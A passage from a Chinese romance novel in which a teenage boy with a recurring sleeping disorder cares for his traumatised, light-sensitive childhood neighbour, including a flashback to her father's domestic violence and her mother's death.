言迹察觉到她的反常,伸手拍了拍她的后背,安抚她:“发生什么事了吗?”
她指指电视里正巧在播的那则广告:“你看。”
言迹看完广告,初雨又抱住他:“哥哥,你也算是我的家人,我好像没抱过你,没怎么关心过你,一直都是你在关心我照顾我,我不敢想如果没有你的话,我会是什么样。”
种种行为传递两个信息,她害怕失去他,她已经依赖上他了。
言迹一只手还提着粉丝汤,只能用另一只手回抱住她:“小鱼别怕,哥哥会一直陪着你的。”
他竟然能读懂她的心,清楚她在惧怕什么。
他们不是一家人,谁和谁还能是一家人。
闻着言迹身上熟悉的洗衣粉味道,她内心焦躁的情绪逐渐被抚平。
很奇怪,明明他们用的是同一种味道的洗衣粉,她闻自己的衣服,却没言迹身上那股味道特别,似乎她的衣服上,少了一味镇定剂的成分。
言迹揉揉初雨发顶:“好了,抱的时间太久,搞的好像是哥哥在占你便宜呢,可以松手了。”
她不仅没松手,还抱得更紧了:“你放心吧,是我在占你便宜。”
“……”言迹哑口无言。
他一直警醒自己,要注意和初雨之间的距离感、边界感、分寸感。
不能越界,不能逾矩。
最好可以避免所有肢体接触,从根源斩断所有会造成过度亲密的行为。
他以为,只要他不主动碰初雨,就能把握好尺度。
但他失算了,他的减少触碰,换来的是初雨更加主动,她不管那么多,也不刻意回避,大大方方用行动表达,他很重要。
家人和家人之间,当然可以拥抱。
要是不让她抱,她会伤心的。
他不忍心再看到她掉眼泪,任由她抱着,用玩笑缓解气氛:“拿我当玩具娃娃呢?抱上瘾了是吧?”
“嗯,哥哥是超大号的玩具娃娃,抱着很安心。”
言迹听到几个关键词。
超大号玩具、抱着安心。
好,他记住了,明天就给她买一个大号的毛绒玩具带回来。
隔天。
言迹放学后给初雨发消息:小鱼今晚想吃什么?我给你带。
他直接去学校附近的玩具店,一进门就问老板:“您好,店里有没有适合送给小女孩的玩具?毛茸茸的那种,要大一点的。”
老板很热情,带着他往后面去:“有啊,样式可多了,你来看。”
有棕色的玩具熊,粉色的玩具兔子,蓝色的玩具小象,橙色的大南瓜,样式确实不少。
不知道初雨喜欢哪个,又想保留惊喜的感觉,言迹问老板:“您有推荐的吗?”
“熊和兔子都可以。”
老板把两个玩具拿给言迹,“你摸摸,熊里面的填充物硬一些,适合摆着玩,兔子里面的填充物特别软,当抱枕没问题,这耳朵也长,小女孩都喜欢捏耳朵玩,我闺女就特喜欢这个兔子,天天不离手。”
老板眼里的小女孩,和言迹认为的小女孩,不是一个年龄段。
那又怎么了,不管初雨多少岁,在他眼里,永远都是小女孩。
初雨身高158,这玩具熊大概一米二左右,玩具兔子不算耳朵的话,也就一米多一点。
言迹想买尺寸更大一点的,他问老板:“有没有更大号的玩具?和我差不多高的就行。”
老板上下打量言迹:“哟,帅哥,你身高得有185往上啊,咱们店里还真没这么大的玩具,你要超大号的得去别的地方看看,要我说你送小女孩,没必要买太大的,不然她也抱不动啊,对不对?就买这个兔子,她抱不动还能拖着耳朵走,怎么都能用得上,对吧?”
言迹觉得老板说的有点道理,买太大的玩具,万一她不喜欢,那怎么放都是个问题。
他掏出现金结账:“行,那就买兔子,麻烦您给我包起来,用不透明的包装袋,我想给我妹妹一个惊喜。”
“好嘞,”老板收钱找零,打包的动作麻利,“有你这样的哥哥真幸福啊,有什么需要的话再来,慢走哈。”
言迹抱着包装好的兔子,乘公交车回家。
坐上公交车,他反复查看手机有没有新消息进来。
以往他发消息,初雨很快就回复了,今天怎么一直没回复。
难道……那些人来找她麻烦了?
他今早出门前,有反锁门,楼下邻居是两对热心老夫妻,如果听见楼上有人闹事,他们肯定会去关心情况的。
应该没事。
他下了公交车,在路边小店帮初雨要了份带走的南瓜粥,还有一份素包子。
这两样东西都是店里提前准备现成的,只在打包上花点工夫,不像其他餐食,要等着炒或者煮。
言迹在老板打包的空隙,拿出电话给初雨拨电话。
连打两个,没人接。
不会真出事了吧?他的心悬空,接过老板打包好的东西,拔腿就往家里跑。
六层楼,他一步跨三个台阶,往上冲刺。
左手抱兔子玩偶,右手提南瓜粥和包子,肩上背书包,一秒都不敢耽误,
大脑一片空白,全身血液都往大脑上涌。
他在心里求遍各路神佛菩萨,求大家保佑初雨平安无事。
好不容易有了可以牵挂的人,好不容易拥有了一个可以称为“家”的生活环境,求求老天不要再让他失去珍视的人。
终于狂奔到六楼。
他停在门口,大口大口喘气,汗珠顺着鬓角下滑。
掏出口袋里的钥匙,他都没发觉自己的手在颤抖,钥匙被抖到地上,他弯腰去捡,捡起钥匙又好几次对不准锁孔。
他在害怕。
打开门,坐在沙发和茶几中间地板上的初雨,放下手里的书,朝他看过来:“哥哥,你回来啦。”
茶几上的台灯亮着暖橙色的光。
言迹连门都没来得及关,他放下礼物,扔下书包,提着吃的,拖起发软的腿,踉踉跄跄走到初雨身边。
他把吃的放在茶几上,一把抱住初雨,闷声不说话。
你没事就好。
没
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事就好。
他把这句话在心里说了好多好多遍。
初雨听到言迹喘不匀气息,面对他突如其来的拥抱,她没反应过来。
“哥哥?”她没挣脱言迹有些用力的拥抱,只问他,“你怎么了?”
言迹这才放开她,逐渐平稳呼吸:“给你发消息不回,电话也不接,我还以为你遇到什么事了,看见你没事就好。”
她终于想起手机的存在。
静音模式的手机躺在沙发上,被专心看书的初雨忽略彻底。
“对不起,是我不好,让你担心了,”初雨拿过手机,关掉静音,换成有声音提示的标准模式,“我在看漫画,没注意时间……”
难怪他气喘吁吁地跑回来,扔下东西就将她搂进怀里。
“小鱼,你什么时候能见台灯光线了?”
言迹受恐慌而掉线的思维重新回归,他刚才只顾着关心初雨的人身安全,都忽略了一进门后,亮着的台灯。
他眼里的喜意明显,“之前不是说尝试开灯失败了吗?现在都能自己开灯看书了,病情好转很快啊,我们小鱼真是太厉害了。”
初雨有点小骄傲:“上次你醒了以后,当天晚上我想开灯记点东西,就试着打开了。”
“什么东西这么重要?能激励我们小鱼马上开灯记下来?”言迹打开装粥的打包盒和装包子的塑料袋,把一次性餐具递给她。
“秘密,不告诉你。”她调皮地吐了吐舌尖,一副古灵精怪的模样,就像从前安然无事的模样。
言迹不再追问:“既然是小鱼自己的秘密,那我就不好奇了。”
她看着眼前的晚饭:“太多了,我吃不完,哥哥你去拿个碗,帮我吃点吧,不能浪费粮食。”
他们两个人的饭量都不大,经常一份饭,两个人分着吃。
“行,帮你之前,先送你个礼物。”言迹走过去关门,捡起地上的礼物,拿给初雨,“打开看看喜不喜欢。”
“哥哥送的礼物,我当然喜欢呀,”她打开包装,取出毛绒粉兔子,眼睛里的开心快要盛不下,“哇!好可爱!”
她把兔子抱进怀里,用脸蛋蹭蹭,看起来喜欢极了:“软乎乎的,好舒服啊,怎么突然给我送这个?”
言迹避开视线:“上次你抱我,不是说我是超大号的玩具娃娃,抱着很安心吗,我就给你买了个玩具,你在家抱着它也能安心。”
他说不清躲开对视的缘由,有些陌生的东西,正在他心底暗处滋长。
“嗯……”她紧紧抱住兔子三四秒,然后松手,扑过来抱住言迹,“我觉得还是抱着哥哥最安心。”
她发丝间的香气,衣服上的洗衣粉味道,柔软的双臂圈住他,所有属于少女的气息,都朝他扑涌而来,无法躲避。
言迹的大脑宕机一秒。
他还以为,买个大号玩具给初雨,她就会把寄托在自己身上的安心感,转移给玩具。
这一秒,他才领会到,他在初雨这里的独特,根本不是别的物件可以随意替代的。
哥哥永远是哥哥,玩具永远是玩具。
没等到回应,初雨失落地放开言迹:“难道有了玩具以后,我就不可以抱哥哥了吗?”
8. 第八夜
言迹安慰她:“我们是家人,当然可以拥抱。”
“家人,”初雨轻声重复一遍,“这个家里,不是只有我和你吗?那你以后叫我的时候,就不要叫‘我们小鱼’,直接叫‘我的小鱼’不就好了?我们小鱼是你和谁的小鱼?我是哥哥一个人的小鱼呀。”
言迹差点被她绕进去:“不行,我以后直接叫你小鱼,你就是你,不是谁的什么附属品。”
“我们小鱼”的叫法,从小学就开始了。
起先言迹叫她小鱼,后来言迹的奶奶叫她“我们小鱼”,久而久之,有时候言迹也会装长辈的神态这么叫,潜移默化之下,偶尔会脱口而出。
初雨轻微歪头,不解道:“我也没说要当谁的附属品呀,是你说过拿我当亲妹妹,‘我的小鱼’不就是叫妹妹的称呼吗?”
“……”言迹暂时无法反驳她的说法。
他似乎敏感谨慎过度,反而有些矫枉过正了。
“我的小鱼”说是“我的妹妹”的另一叫法倒也合理,但怎么听都有些暧昧对象之间的宠溺称呼感觉。
果然男人没一个好东西,包括他在内。
她的心思那么单纯,拿他当哥哥,他却心思龌龊地胡乱曲解。
他贬低自己的道德太低,又不肯妥协按照初雨的建议称呼她,只能先跳过这个话题。
“吃饭吧,饭要凉了。”言迹去拿碗来分粥,很生硬地转移话题。
当晚,初雨抱着新玩具,早早躺进被窝。
她从小到大,都想拥有一个属于自己的玩具,这个梦想在今天,得以成真。
上幼儿园的年纪,别的小朋友聊天,总会说她们又有了新的玩具。
是毛茸茸的玩偶,或者精致的芭比娃娃,话题接连不断,大家都聊得很开心,只有她说不上话,因为她没有自己的玩具。
爸爸初峰峻把工资都送到了牌桌上,输了钱就会去喝酒,喝到烂醉回家和妈妈唐梦芬吵架,后来演变成打妈妈,逼问妈妈要钱再去打牌。
他酒醉后施行暴力,拿走唐梦芬攒的钱,出门前留下一句:“我肯定赢大钱,赢了就给你们更好的生活。”
他清醒后给妻子道歉,跪下来扇自己耳光:“我不是人,我再打牌我就剁了这双手,你再给我一次机会,我保证再也不敢了。”
保证没用,下一次还是旧病复发,还是抽出皮带打在妻子身上。
妻子哭着求饶,他下手更狠:“给我钱!你看不起我是不是!不相信我能赢是不是!连你也不信我!”
年幼的初雨扑过去护住妈妈,皮带抽在她的背上,并不留情。
很痛,特别痛,每一次抽打就是钻心的疼。
但她没躲开,还是用力护住妈妈,哭着喊:“爸爸别打了,别打妈妈了,要打就打我吧。”
她知道,要是她怕疼躲开,那这疼痛就会重新落在妈妈身上,她不愿意让妈妈受疼。
唐梦芬躺在地上,额上全是因为疼痛而渗出的大颗汗珠,几次快要休克过去。
不是没有还手过,只是还手以后,丈夫扇过来的巴掌会让她耳鸣好几天,会听不清女儿和她说话。
她索性不再还手,任他发泄,以为再忍忍就好了,殊不知她的忍让换来的是得寸进尺。
眼前,小女儿扑在她身上保护她,她脱力到连抬手拉走女儿的力气都没有,浑身上下一片麻痹,分不清麻木和痛觉的区别,肢体和灵魂好像分离开了。
她是一个失败的母亲,连保护自己女儿的能力都没有。
滚烫泪珠从她的眼角滑进发间,不是因为旧伤口被新的痛打撕裂,也不是因为新伤口正在流血。
只因为,她没能将幼小的女儿护进怀里。
放学的初雪回到家,看见这一幕。
她奋力抢走爸爸手中的皮带,像头发怒的小兽,不允许爸爸再靠近妈妈和妹妹。
反抗的结果是初雪也被扯着头发打了一顿。
酒精上头后,整个人都像被恶魔附身,不知停歇地发泄对生活的不满。
发泄的方式是殴打最亲近的妻女。
第二天,初雨的妈妈打电话给姥姥,说她要离婚,带着两个女儿回娘家。
电话那头的姥姥极力劝阻:“嫁出去的女儿泼出去的水,你离婚了回来,让我和你爸的脸面往哪放啊,我们那个年代的女人,哪个没被丈夫打过啊,就算是被打死,都不愿意离婚,打是亲骂是爱,夫妻床头吵架床尾和,你就为了孩子忍忍吧。”
唐梦芬绝望地挂掉电话。
她心灰意冷地自言自语:“可是妈妈,时代早就变了啊。”
初峰峻把结婚证和唐梦芬的身份证收起来到她找不见的地方,防止她离家出走。
唐梦芬没走,她不放心两个女儿,她辛苦打工攒给两个女儿的学费,全被初峰峻抢走,剩下的钱,维持基本生活都困难,哪可能给姐妹俩买什么玩具。
初雨好几次下楼扔垃圾,看见垃圾桶里扔着没人要的玩具,她都是又羡慕又心疼的眼神。
这么好的东西,竟然有人舍得扔掉。
要是她拥有的话,一定会当成宝贝好好保管的。
可惜她没有。
这日子把唐梦芬磋磨地越来越憔悴,大夏天都穿着长袖,不愿让邻里街坊看到她的伤口。
她也试过报警,小镇上的警察当成家庭矛盾,口头教育一顿就放他们离开了,起不到实质性作用。
初雨背上的伤口,留了疤。
唐梦芬心疼得不行,往后再发觉丈夫不对劲的时候,都会提前把两个女儿送去邻居言迹家里躲躲,她独自来承受丈夫的言行暴力,绝不再让两个女儿受到伤害。
她平时常给言迹家里送一些水果零食,当成感谢言迹奶奶多次在她受苦时,愿意帮忙保护女儿的谢礼。
家里没值钱的东西,只能拿天天都需要的吃喝品去感谢。
她一直在为两个女儿忍着丈夫,直到后来初峰峻跪在她面前,说了一些她感觉生活无望的话,才狠心抛下两个女儿,以自我了结的方式,去了天堂。
妈妈的离开,是初雨遭受的第一次重大打击。
当时的姥姥和姥爷已经先妈妈一步离开,她从没见过爷爷奶奶,所以没有长辈来帮助姐妹俩。
初峰峻在唐梦芬葬礼后,把家里翻了个底朝天,弄的家里像遭贼造访一般不堪入目,所有东西都脱离原来位置。
他拿走了家里的所有现金,不管两个女儿的死活。
抱着玩具兔子,躺在被窝里的初雨,一点都不想爸爸,甚至有些恨他。
如果不是他对妈妈拳脚相加,逼迫妈妈去做她不愿意的事,妈妈肯定还好好在这个世界上生活着。
如果不是他贪恋牌桌,就不会招来那些难对付的坏人,姐姐也不会被那些人纠缠到整日提心吊胆,最终还是被那些人逼进绝境。
五岁想要父母买给她的玩具娃娃,十五岁从竹马的手里得到。
晚了十年,送礼物的人和她之间没有血缘关系,却一直非常重视她,在乎她。
言迹是合格称职的邻家哥哥,对她温柔又贴心,事事以她为先。
不仅是在变相偿还唐梦芬曾经对他的关照,更是顾念和初雨从小一起长大的情分,这两点牵绊,把两人捆绑在一起,谁也离不开谁。
天气入冬,气温下降,言迹的衣服不多,就那么两套来回换。
要么灰色卫衣搭黑色裤子,要么黑色防风外套搭宽松牛仔裤,他穿得普通,全靠那张出众的脸和身高腿长的衣服架子身材撑着。
初雨不再穿清凉的裙子,换成在家穿的长袖长裤睡衣。
纯棉料子贴身舒服,两套睡衣够换洗。
言迹没回来的时间,她和玩偶兔子形影不离,拿兔子当她的知心好友。
和不会说话的玩偶一起看电视,一起看书,一起睡觉,有些悄悄话,也说给兔子听。
言迹回来后,给她带着晚饭。
他每天都会看帮她准备的早餐午餐吃完了吗,关心她的胃口好不好,及时询问她的心情和病情,给她家人一般的爱和关怀。
对穿着睡衣的她说,今天的她看起来,比昨天的精神好了一些,今天做了什么?有没有觉得哪里不舒服?<
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从她嘴里得知她看了什么书,看了什么电视节目,帮忙做了哪些家务,都会认真夸奖她做的好。
即使什么也没做,言迹也会夸她情绪比以前稳定的多,反正,他总有夸她的词儿。
总能让她明白,她本身就是很好的女孩,值得所有美好的一切降临她身边。
言迹就这样每天不厌其烦的关心她,自此开始持续到未来很长的一段时间。
他耐心陪伴她慢慢从黑暗中走出来,等她一点点重新爱上这个世界,重新拾起好好生活下去的希望。
言迹是她长期服用的“药”,副作用是服药人会越来越依赖他。
他很乐意被依赖,这份依赖让他清楚地感知,他还活着,被需要着,并不是毫无意义的存在。
初雨对光线的接受能力,缓慢上升。
十二月中旬,她可以在日落时分,自己拉开窗帘的缝隙,透过那道窄缝,欣赏暮色沉降之后的星月相伴。
日落是她足不出户就能在家看到的风景。
宁静唯美的日落自带抚愈伤疤的咒语,似乎全神贯注欣赏窗外天际的变化就是在疗伤。
言迹最近问起初雨当天都做了什么的话题,她能给言迹说的内容趋于增多。
告诉他这段时间的落日颜色不同,给他讲电视节目里的有趣情节,向他表示漫画书里的故事非常动人。
看着初雨比九月的时候好了不止一点点。
言迹分不清是去庙里求的平安祛病符起了作用,还是他的关照在一定程度上缓解了初雨的畏光症。
他想着这个问题,脑海见缝插针溜进来其他心烦事。
还有不到半年高考,他没想好报考什么大学,最近的大学在市里,距离居住小镇的车程有两个多小时,做不到每天往返的话,初雨怎么办?
万一他在高考之际病发,要重新复读一年吗?
高考之后,顺利的话想趁暑假多找几份兼职,攒够开学的学费,以及他和初雨的生活费,明年初雨能出门的话,就该带她去看病了,治病的花费大概需要多少钱?
……心烦意乱,根本睡不着。
平时在初雨面前,他收敛情绪不外露,从不给她说自己的烦恼。
但他不是机器人,也有自己的想法和心事,有很多想不明白又放不下的问题,没人为他指点迷津,他就去阳台吹风,任由思绪乱飘,消化情绪,做着不用付费的宇宙遨游。
消化完了就睡觉,消化不完会等来一场日出。
发呆的终点,是想念从没见过面的妈妈。
听长辈说,妈妈生他的时候不幸羊水栓塞,没救过来。
他在心里一遍遍幻想着妈妈的模样,妈妈会倾听他说的每一句话,不嫌他烦。
会猜想妈妈听见他的烦恼后,帮他出谋划策解决难题,心疼他的难过和委屈。
晚风温柔吹拂,像妈妈在轻轻揉他的发丝。
每当他遇到小挫折,脑补有妈妈的安慰以后,能感受到心情好转许多。
可是当大事发生,比如爸爸重组家庭离开他,比如当奶奶去世,再怎么求助幻想出来的妈妈都没用,脑海中没有妈妈安慰的声音,他从没见过妈妈,没感受过妈妈的怀抱。
就连试图模拟模仿妈妈的语气和神态,都没有参照源。
这一晚,他没能消化心烦事。
日出光照强烈,刺痛他的眼睛,眼眶发涩。
“哥哥?”起床的初雨看到阳台上言迹的身影,在室内喊他。
言迹回到客厅,看了眼墙上钟表:“才七点,怎么不多睡会儿?”
她注意到言迹眼里的红血丝,还有眼下的淡青:“你一晚没睡?”
“嗯,睡不着。”言迹拿袋速溶咖啡,准备冲着喝了提提神。
“有烦心事?”察言观色是她从小具备的能力,言迹疲倦的面色,瞒不过她的眼睛。
言迹的动作一顿,嘴硬否认:“没有。”
“好陌生。”初雨前言不搭后语说了这么一句。
“嗯?”言迹放下咖啡杯,呼吸短暂凝滞,看向她,“我陌生?”
9. 第九夜
“哥哥知道我所有情绪的来由,总能及时安慰我,我看着你心事重重的模样,却不知道怎么做才能让你好受一点。”
初雨的双眸,晃漾着看不清的情绪,似乎是难过,也像无奈,渲染惆怅的色彩,难以辨析明确。
言迹愣住。
初雨继续讲:“你说我们是家人,你说拿我当亲妹妹,心情不好却不告诉我,这是一家人的样子吗?这样的你,让我觉得好陌生。”
她认定家人之间就该无话不谈,不能有任何隐瞒。
很显然,他们两人在这件事上的认知全然不同。
言迹不觉得家人之间一定要事事相告,他认为年长一些的家庭成员,需要担负更多责任。
要他如何把那些想不明白的问题向初雨抛出来?除了给她徒增烦恼以外,再没别的用处。
他只想初雨开心快乐,不想她愁眉苦脸。
至少在他照顾她的期间,他不要这样的状况发生。
“小鱼,我只是……”言迹的喉结上下滚动,嗓音透着艰难涩意,“有些想奶奶,还有我妈妈。”
别的事,初雨或许无法和他感同身受。
但失去至亲的滋味,他们都深刻了解。
初雨拥住言迹,双手从他腰侧穿过,轻轻拍着他后背:“我也是,我很想妈妈和姐姐。”
他们想念的人,再也没办法回来。
她笨拙地哄着言迹:“如果奶奶和阿姨知道你整晚不睡觉,作息颠倒,她们会心疼你的,所以现在要不要去睡会儿?”
言迹向她力证自己一晚不睡也没关系:“不用,我喝点咖啡提神就行,今天周日,我等会儿还要去王阿姨的店里兼职。”
他的病症,总会不定期让他陷入长时间的沉睡。
昏睡的分分秒秒,无异于被这个世界流动的时间抛弃。
正因如此,他格外珍惜清醒的每一秒,即使偶尔通宵睡不着,能欣赏到一场日出也不错。
晚间心里的闷堵,随着升起的灼目暖阳而逐渐消散,温和光线驱走坏情绪,仿佛日光是一场圣洁的心灵洗涤。
忘记这是他第几次通宵,只记得和初雨同住以后,整晚不睡等日出的次数,直线下降了。
洗漱过后,言迹问初雨:“小鱼,想学蒸米饭吗?”
“想!”她激动地点点头,好像即将学到很厉害的魔法一样,满眼尽含期待和跃跃欲试。
在此之前的好几次,初雨夸言迹蒸的米饭特别好吃。
一锅米饭,水分把控得恰到好处,蒸好的米,粒粒分明,入口香甜。
她尝试过几次蒸米饭,按照妈妈和姐姐教过的,给电饭煲内胆放入淘洗过的米,加入水的高度能没过一个指节就行。
做起来并不简单,不是水多了就是少了,按着一个指节的标准,仍旧拿不准放多少水才能蒸出软硬适中的米饭。
言迹每次蒸出来的米饭都完美合她的口味。
她很想学,平时言迹没时间手把手教她,今天逮到这个机会,她可要把握好。
“先洗手。”言迹朝水池方向微抬下巴。
初雨洗干净手,言迹教她下一步:“拿量杯,舀一满杯米,可以蒸两碗饭,两杯米就是四碗饭。”
她回头问:“哥哥,你今天中午回来吃饭吗?”
“嗯,我回来的路上买青椒和鸡蛋,中午给你做青椒鸡蛋盖饭。”
她专心舀米:“那就是一杯米,哥哥一碗饭,我一碗饭。”
经过淘洗,滤掉多余的水分,米粒全部进了电饭煲内胆。
言迹适时指点:“按一般比例来说,米和水的比例是1:1.2,1量杯米需要1.2杯的水,平时我给你蒸米饭,也是按照这个比例做,淘洗米的过程,刚好有0.2的水分湿润了米,所以再需要一量杯的水就好了。”
在这个基础比例上,爱吃软米饭的人多加水,爱吃硬米饭的人少加水。
不再需要依靠“一个指节”的标准。
初雨按言迹说的加水,再盖上锅盖,插上电源,调整蒸饭时间。
言迹叮嘱最后一步:“时间到了以后,拔掉电源就行。”
她有些意犹未尽:“这样就好了?你教我的办法好简单,不用手指去试水的高度合不合适,也不用担心蒸出来的米饭会太软或者太硬。”
言迹和她回到客厅:“嗯,其实看起来难的事,做多了也很简单的,你以后多蒸几次米饭,就容易得多了。”
她就等这句话:“以后家里的米饭都由我来蒸!”
以后,她能在言迹面前发挥自己的用处,也算能为他做点有用的事。
“好,那就交给小鱼了。”言迹笑起来的眼睛很好看,中和了单眼皮的凌厉锋利感,多了些温润柔和。
“嗯嗯!”她用力点点头,好像接到一项艰巨又光荣的任务,迫不及待大显身手。
言迹要出门坐公交车去王阿姨的店里,没留下来等米饭蒸好。
他在公交车上,收到初雨发来的消息。
【小鱼:哥哥,电饭煲定的时间到了,我拔掉电源线,打开锅盖看米饭,蒸的特别好!我争取以后每次蒸的米饭,都像这次一样好。】
他的指腹按动手机按键,打字回复。
【言迹:小鱼真棒,哥哥相信你肯定每次都能做好。】
不管初雨做了什么,无论大事小事,言迹都会发自心底地夸她。
她也越来越积极地去做一些力所能及的事,帮他分担一部分家务。
看,她不是什么都做不好,她有自己的闪光点,只是目前发现的人,有且仅有言迹一个。
不过没关系,往后会有更多人发现她的好,她的独特。
言迹收好手机,回想起初雨那双晶莹澄澈的小鹿眼。
她满心欢喜和他学习蒸米饭的时候,不知道他其实在做另一层打算。
他并非心血来潮,突然想教她做饭。
上次发病苏醒后,看到厨房垃圾桶里的方便面包装袋,料到她依靠吃方便面度日。
这的确很方便,但哪能长时间吃?
那会儿就动了打算教她做饭的心思。
言迹想着,等她学会怎么做饭,再碰到他发病期的日子,她就能做像样的饭填饱肚子,而不是整天吃没营养的方便面应付了事。
他不会懂得,就算初雨拥有一手好厨艺,再遇到他发病期,她也不会做饭给自己一个人吃。
没他陪着一起吃饭,胃口大幅下降,吃什么都一样。
既然如此,不如吃方便面。
教做饭的更深层次原因,他没说出来。
当时看着认真淘米的初雨,他用视线无声传达——
小鱼,厨房油烟重,学做饭的过程不轻松,蒸米饭没难度,等到学做菜的时候,你可能会被菜刀弄伤手指,可能会被锅烫伤手腕,可能会被油花溅到皮肤,可能会在碗里挑磕破的鸡蛋壳,或许会状况百出。
我不舍得你弄伤自己,假如上天允许,我想照顾你到很久以后。
但我没把握,万一哪次发病,我再也醒不过来的话,你该怎么办?至少我要教会你做饭,不至于在我离开后,你还需要顿顿吃方便面。
不放心你一个人面对这个世界,所以哥哥希望有一个又一个的明天,能让我陪在你身边,度过这段黑暗的时间。
这段略带沉重的内心独白,他能预想到,亲口说给初雨听的话,她一定会哭得梨花带雨,委屈巴巴地问:“哥哥,你也要离开我吗?”
像妈妈和姐姐那样,离开她,再也见不到面。
不愿她流泪,言迹将这些话深埋心底。
只要他还有一口气,初雨就不用担心吃喝问题。
中午,他买了新鲜的青椒,回家做青椒炒蛋盖饭。
他陪初雨一起吃饭,初雨和他一起清洗锅碗厨具,洗洁精的泡沫侵吞他们的双手,又被清水冲走。
她垂眼看着水槽里的泡沫消失:“哥哥,小美人鱼就是像这样变成泡沫被海水淹没的吗?”
言迹想起《海的女儿》故事,他们小时候一起读过童话绘本,其中有记载这个故事,当时的初雨抹着眼泪惋惜小美人鱼,他还帮初雨擦眼泪。
他将碗盘放进橱柜:“嗯,原著故事里的小美人鱼确实化作了泡沫,不过听说,动画版的小美人鱼和王子幸福地生活在一起了。”
动画版的小美人鱼在1989年的国外上映,1995年在国内的CCTV1第一动画乐园首播。
国外首映,初雨刚出生,言迹才两岁。
国内
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首播,初雨六岁,言迹八岁,他们上小学不久,每晚写完作业后没多久就要睡觉。
电视属于长辈们看新闻的工具,给他们看动画的时间并不多,当然也没能看到第一动画乐园的首播。
“动画版的结局很美满呀。”初雨忍不住去幻想动画里的情节,肯定很精彩吧。
言迹算日子:“快要期末考了,我最近比较忙,抽不出空,等放寒假了,我去影音店问问有没有小美人鱼的碟片,有的话,租回来给你看。”
“好!”初雨眼前亮起一簇小火苗,重现久违的活力,“我们拉勾,你不许耍赖。”
她伸出小拇指,勾住言迹的尾指。
言迹轻声笑她:“好好好,不耍赖。”
那个年代的街头巷尾,最不缺出租影音碟片的店家。
国外的国内的,正经的不正经的,良莠不齐。
租比买便宜,看完后归还,再借其他感兴趣的碟片。
很喜欢某个碟片的话,可以直接买下来,在家用碟片机想看多少遍就看多少遍,条件好点的人家用台式电脑放,叫来三五朋友一起观看,像小小的私人影院。
有的碟片机只支持VCD类型的碟片,有的碟片机支持VCD和DVD两种类型,能看的种类更丰富。
碟片分好几种类型,影视类别占大部分,唱歌碟片和游戏碟片也不少,连上有线麦克风或者游戏手柄,在家就能唱歌玩游戏。
对于普罗大众来说,租碟片娱乐是当时备受欢迎的消遣方式。
唯一的小小不足,就是碟片需要妥善保管。
一旦光盘沾上难清理的脏污,或者不小心产生划痕,某一片段会受影响,发生划碟情况,有卡顿的马赛克花屏状况,很影响观看体验。
期末考试前两个礼拜。
王阿姨给言迹放了假,让他专心复习准备考试,等放寒假再去店里打工。
周六晚上,言迹揉揉用眼过度的双眼,有些干涩。
他放下书本,想让眼睛休息几分钟,注意到墙上时间,初雨喜欢的节目开播了。
“小鱼,出来看你喜欢的节目。”言迹抬手打开电视,喊房间里的初雨。
她站在房间门口:“今晚不看了,会打扰你复习,我明天看重播。”
言迹拍拍旁边沙发上的位置,让她坐过来:“那我去房间学,你在客厅看。”
“你在房间里也能听见电视的电流声,照样还是会被干扰,我和你一起看书吧,这样我们都有事做,你也不会分心。”
她拿出房间桌上的名著书籍,坐在沙发上,紧挨言迹身边,翻动书页,“我有读不懂的地方还能问你,比看电视有趣多了。”
这么懂事,让言迹觉得,他要是不好好复习,都对不起她牺牲掉的看节目时间。
“行。”言迹关掉电视,重新投入复习状态。
伏案低头时间久,他的脖颈有些酸痛,拿起英语书捧到眼前,他仰靠沙发上,抬头看书,默背单词。
左肩感受到压上来的重量。
他侧眸,初雨的脑袋轻靠他肩上,睡得正香。
她手中拿的书是本冗长晦涩难读的名著,会看睡着并不意外。
言迹放下英语书,让她靠着自己小憩,他闭上困倦的双眸,就这么保持着脖颈后仰的姿势,打算短暂休息三分钟。
无数个三分钟流逝。
初雨先睁开眼,墙上时间指向夜间十一点半。
她推动言迹:“哥哥。”
想让他躺好睡,但他没给反应。
又发病了吗?
一番试探结束,确定他再次发病。
初雨和上次一样,把他扶好躺下,拿来被子给他盖上,瞧着他毫无知觉的脸庞,想起他说过,大医院的医生判定这个病治不好,网上也说无法根治。
不知道哪来的勇气和自信,她心里闪过一个大胆的念头。
要是她以后能当医生,要是她足够学识渊博,能经手够多的病例,再深入钻研这个病。
会不会有朝一日,能找到根治的办法?
本来对于未来方向一片迷茫。
这个想法诞生的瞬间,感觉人生前路好似亮起一盏定位明确的指示灯,不明不暗的微弱光线闪动,于冥冥之中引她朝前走。
10. 第十夜
初雨回到房间,开着台灯用记事本规划未来。
几个月前的她,将自己关在不见天日的房间里自暴自弃。
那时只觉人生无望,万念俱灰,对于前途不抱任何期望。
眼前的她,想做一个健康的正常人。
她想出门去看看外面的世界,想重回教室念书,想考上国内知名的医科大学,未来当一个专攻神经方面疾病的好医生,一边积累治病经验,一边钻研能根治睡美人综合症的方法。
最后,平稳踏实地生活下去,过着普通人的生活,直至生命尽头。
朴实的愿景,不掺任何华丽成分。
这已经是她目前能想到的最大追求。
只要按照规划好的路线发展,这么想想,似乎能提前感受到以后的生活有多充实幸福。
将来的言迹,还会和现在一样,陪在她身边吗?
意识到想得太远,她收回思绪,轻拍脸颊:“真是的,想到哪儿去了。”
连她本人都没意识到,她的未来规划里,有言迹不可缺少的一席之地。
按家人的身份来说,将来生活的计划,有对方的名字,再正常不过。
言迹发病的第三天。
初雨本来坐在旁边看书,也好时刻注意他的状态,要是他醒来了,可以及时给他倒杯水。
书页单调的白纸黑字,不及言迹那张脸的吸引力大。
她的目光时不时往言迹脸上瞟,他平躺着的姿势更显侧脸弧度优越,五官比例挑不出一点毛病,完美得极其适合给美术生当模特练笔。
想到这儿,她回房间找到空白的绘画本,拿来削尖的铅笔,比照着言迹的轮廓,一笔一画描摹,试图在白纸上定格他的容貌。
他长得很好看,她画不出他十分之一的俊逸英气。
她合起本子,叹了口气回房间。
夜里,她睡得半梦半醒,听到客厅传来响声。
声音不大,像是清脆的东西相撞,紧接着出现挪移的脚步声。
言迹醒了?
她翻身下床,打开房间门,瞧见往厨房走去的言迹。
“哥哥,你什么时候醒来的?”她所有困意一扫而空。
言迹停步:“刚醒,我去煮点吃的,给你也煮一碗?”
她要帮忙:“我来吧,你有力气弄吃的吗?”
“这回发病时间不长,没事。”
“我还担心你万一睡得时间久,错过了期末考试怎么办,看到你醒了,我就放心了。”
言迹弯唇:“担心我睡的时间太长,没人陪你说话,所以我这次快点醒来找你。”
多亏她提前在茶几上准备着凉开水,他刚醒来的那秒,眼前迷蒙,口渴难耐,起来喝些凉水,意识彻底苏醒,肚子咕噜叫,才想去厨房弄点吃的。
